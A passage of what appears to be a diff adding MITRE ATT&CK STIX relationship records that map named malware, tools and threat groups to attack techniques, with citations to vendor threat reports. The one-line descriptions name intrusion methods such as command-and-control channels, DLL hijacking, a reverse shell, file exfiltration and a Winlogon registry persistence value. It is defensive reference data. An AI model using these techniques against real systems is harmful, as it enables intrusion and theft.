"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can use HTTP and DNS for C2 communications.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--14b70990-48b0-482b-bd5a-3a99d9d9a653", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the \"srand\" and \"rand\" functions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f", + "external_references": [ + { + "source_name": "Lotus Blossom Dec 2015", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + }, + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is launched through use of DLL search order hijacking to load a malicious dll.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3f8a74a9-55fe-4f9c-bddb-00b715ca3668", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can take a screenshot of the desktop.", + "type": "relationship", + "created": "2019-01-30T18:58:04.175Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d1fe308-5bef-4e7a-9daa-333680a11d7b", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "modified": "2019-04-22T19:48:08.923Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can delete files to cover tracks.", + "type": "relationship", + "created": "2019-01-30T19:50:46.689Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9669920d-eff9-4436-9357-409eb7db002c", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.362Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) uses Python code to deobfuscate base64-encoded strings.", + "type": "relationship", + "created": "2019-01-31T00:23:06.394Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--347ee2ed-7def-45ac-9935-063a679859ae", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-31T00:23:06.394Z", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used NTFS alternate data stream to hide their payloads.", + "type": "relationship", + "created": "2019-01-31T01:07:58.592Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1eeb08cb-8b06-45a7-bf74-fb8bdaa4b02f", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:37.867Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used legitimate credentials to hijack email communications.", + "type": "relationship", + "created": "2019-01-31T02:01:45.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--073fd81c-b49a-4800-b73a-c1b3aba3aa54", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.238Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new service.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--02f8d760-bb70-4f07-b078-0eb8579671cb", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) malware contains a secondary fallback command and control server that is contacted after the primary command and control server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.368Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can enumerate local information for Linux hosts and find currently logged on users for Windows hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--39e6a7c0-5eb8-49fe-aec7-9ae9fe70723a", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.816Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Before writing to disk, [Kwampirs](https://attack.mitre.org/software/S0236) inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--97d77da2-9e26-4168-b14c-9d26093aa5be", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) uses HTTP for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4e95e37e-76a0-498e-b46e-73a4fb639d3a", + "external_references": [ + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can create a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--819a5c4e-2bd6-4d9b-844c-21dc31e85a67", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) contains several references to football (including \"football,\" \"score,\" \"ball,\" and \"loose\") in a likely attempt to disguise its traffic.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--558a8ea0-4c9d-400e-84e2-1e46f9a98b12", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.131Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cherry Picker](https://attack.mitre.org/software/S0107) exfiltrates files over FTP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed2c177c-18fc-4bfd-9169-48af1557a542", + "external_references": [ + { + "source_name": "Trustwave Cherry Picker", + "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", + "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use SSL and TLS for communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d9b7596b-185a-4a2f-8559-6b9349f4c9b9", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can run a command on another machine using [PsExec](https://attack.mitre.org/software/S0029).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aaa2f519-62f6-4dcb-8193-6ed33b8ff4ab", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can use ports 443, 8443, and 8080 for communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5263d1b-fe47-42bb-90ab-ae9fbcfe5f67", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) uses ports 80, 443, and 8080 for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--09e8b282-61ee-4107-94f5-d03e28199fe9", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) uses port 80 for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b21c0340-47aa-4eca-86f2-015060744138", + "external_references": [ + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use Mshta.exe to execute additional payloads on compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3cd0e385-3c60-4742-b3a6-c07dbf10ba45", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:52.943Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to obtain screenshots of the compromised system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:38:29.048Z", + "type": "relationship", + "id": "relationship--b02c9017-5ec9-4be0-9aa9-b183d252c516", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.141Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.040Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161", + "external_references": [ + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can record sound with the microphone.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49f3c807-a801-4cfe-ad1c-6966bea2fc8a", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.819Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a build identifier as well as victim hard drive information from Windows registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers the victim storage volume serial number and the storage device name.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e11d4f32-842a-4684-8974-f368e52b8632", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "modified": "2019-02-01T14:39:36.332Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can perform audio capture.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2c219416-4576-4215-80ac-1aebfadefd8b", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) obfuscated several scriptlets and code used on the victim\u2019s machine, including through use of XOR and RC4.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1010f466-818d-4387-9e43-9ae5e9bf9a40", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "Morphisec Cobalt Gang Oct 2018", + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "modified": "2019-07-26T23:38:33.731Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by setting the value \u201cShell\u201d with \u201cexplorer.exe, %malware_pathfile%\u201d under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--07f83a39-8bb0-44f1-9c81-7291ba10dd03", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": 